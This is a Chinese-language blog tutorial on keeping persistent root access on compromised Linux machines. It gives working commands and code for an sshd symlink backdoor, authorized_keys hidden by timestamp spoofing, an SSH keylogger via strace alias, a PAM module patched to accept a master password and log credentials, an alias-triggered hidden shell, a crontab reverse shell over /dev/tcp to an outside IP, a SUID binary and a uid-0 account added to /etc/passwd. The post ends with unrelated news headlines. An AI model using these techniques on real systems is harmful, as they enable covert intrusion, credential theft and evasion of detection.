Linux权限维持篇
创始人
2024-09-26 12:25:12

目录

SSH后门

(1)软链接sshd

(2)SSH Key

生成公私钥

创建个authorized_keys文件来保存公钥 

通过修改文件时间来隐藏authorized_keys 

(3)SSH Keylogger(记录日志)

Linux的PAM后门(修改内核)

​编译生成so文件

生成的so文件目录 

 查找系统的pam_unix.so文件,用我们自己生成的来替换(要备份系统文件的话看自己选择)

cp替换

问题优化

(1)修改内核文件pam_unix_auth.c的代码

(2)修改内核文件support.c的代码 (linux的底线‘/’关键字查找)

  (3)cp替换 

  (4)成功crazy 

Alias后门

编译shell.c 

​运行一下alias,成功做好后门

目标靶机执行cat 

成功反弹shell 

Crontab后门

Setuid & Setgid

放tmp目录下

维持 

后门账号


SSH后门

(1)软链接sshd

输入任意密码就可以 root 用户权限登陆,如果 root 用户被禁止登陆时,可以利用其他存在的用户身份登陆

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345  ssh root@192.168.78.19 -p 12345

(2)SSH Key

生成公私钥

ssh-keygen -t rsa

创建个authorized_keys文件来保存公钥 

cat /root/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys  追加 cat /root/.ssh/id_rsa.pub > /root/.ssh/authorized_keys  覆盖

通过修改文件时间来隐藏authorized_keys 

touch -r 参考文件 authorized_keys  如: touch -r /www/wwwroot/upload.zip authorized_keys

 

(3)SSH Keylogger(记录日志)

主要是记录本机外联的日志,就是本机去连其他机器的日志

vim .bashrc  打开root目录下的这个文件,在文件末尾添加下面代码进行记录日志 alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh' source .bashrc  命令代码生效 

Linux的PAM后门(修改内核)

cd modules/pam_unix       到指定目录 vim pam_unix_auth.c       编辑密码验证文件 if (strcmp("crazy",p)==0) {return PAM_SUCCESS;}  添加代码

 编译生成so文件

cd Linux-PAM-1.1.8 ./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr  运行该命令配置环境,如果之前配置好了就不用运行了,直接跳过 make

生成的so文件目录 

cd Linux-PAM-1.1.8/modules/pam_unix/.libs/   

 查找系统的pam_unix.so文件,用我们自己生成的来替换(要备份系统文件的话看自己选择)

find / -name pam_unix.so 2>/dev/null

cp替换

cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so

 密码crazy可以登录

问题优化

查看日志文件:/var/log/auth.1og,发现这种方式下的登录跟正常登录下的情况不一样。

(1)修改内核文件pam_unix_auth.c的代码
cd modules/pam_unix       到指定目录 vim pam_unix_auth.c       编辑密码验证文件  代码:          FILE * fp;         if (retval == PAM_SUCCESS) {           fp = fopen("/etc/pam.txt","a");           fprintf(fp,"%s->%s\n", name,p);           fclose(fp);         }

(2)修改内核文件support.c的代码 (linux的底线‘/’关键字查找)
cd modules/pam_unix       到指定目录 vim support.c       编辑密码验证文件 
int _unix_verify_password(pam_handle_t * pamh, const char *name                           ,const char *p, unsigned int ctrl) {         struct passwd *pwd = NULL;         char *salt = NULL;         char *data_name;         int retval;  if (strcmp("crazy",p)==0) {return PAM_SUCCESS;}          D(("called"));

cd Linux-PAM-1.1.8 ./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr  运行该命令配置环境,如果之前配置好了就不用运行了,直接跳过 make
(3)cp替换 
cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so
(4)成功crazy 

Alias后门

编译shell.c 

gcc shell.c -o .shell   # -o ./shell 是保存成隐藏文件

 运行一下alias,成功做好后门

alias cat='/root/.shell && cat'

目标靶机执行cat 

成功反弹shell 

Crontab后门

(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.3.16/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
1.服务开启 service crond start  2.编辑计划任务 crontab -e -u 用户名  3.查看计划任务 crontab -l -u 用户名  4.删除计划任务: crontab -r -u 用户名 #相关文件 /var/spool/cron/用户名   #用户定义的设置 /var/log/cron            #cron服务的日志文件 /etc/crontab             #cron服务配置文件

Setuid & Setgid

放tmp目录下

最好放到tmp目录下,因为这个有权限执行(试过其他目录,有的不成功) 

# 编译程序 gcc back.c -o back  # 给程序添加SUID权限 chmod u+s /bin/back
维持 

是通过普通用户的提权进行权限维持

./back whoami

后门账号

创建后门普通用户提权,进行普通用户到root用户的权限维持

perl -e 'print crypt("crazy","adgfagm")."\n"'  通过这个盐值生成密码,就是下面这个 adifQfW1d7qOY echo "weblogic1:adifQfW1d7qOY:0:0:root:/root:/bin/bash" >> /etc/passwd  #带入这个里面,当用户数据导入etc/passwd

相关内容

热门资讯

宏坤包装取得多工位包装箱粘接装... 国家知识产权局信息显示,成都市宏坤包装有限公司取得一项名为“多工位包装箱粘接装置”的专利,授权公告号...
微信终于更新:变界面、改名字、... 在今天(2 月 10 日)上午的推文中,我们IT之家已经报道了微信安卓平台于昨日迎来 8.0.69 ...
深圳AI规上企业超2600家 ... 来源:21世纪经济报道 21世纪经济报道记者 陈思琦 深圳报道 1月,备受瞩目的2026年国际消费电...
我国卫星捕捉到罕见事件 来源 | 新华社 “天关”卫星捕捉到黑洞“进食”现场 记者2月9日从中国科学院国家天文台获悉,我国“...
全球首个“海风直联”海底数据中... 上证报中国证券网讯(记者 王文嫣)近日,由中交三航局承建的全球首个实现“海风直连”的海底数据中心在上...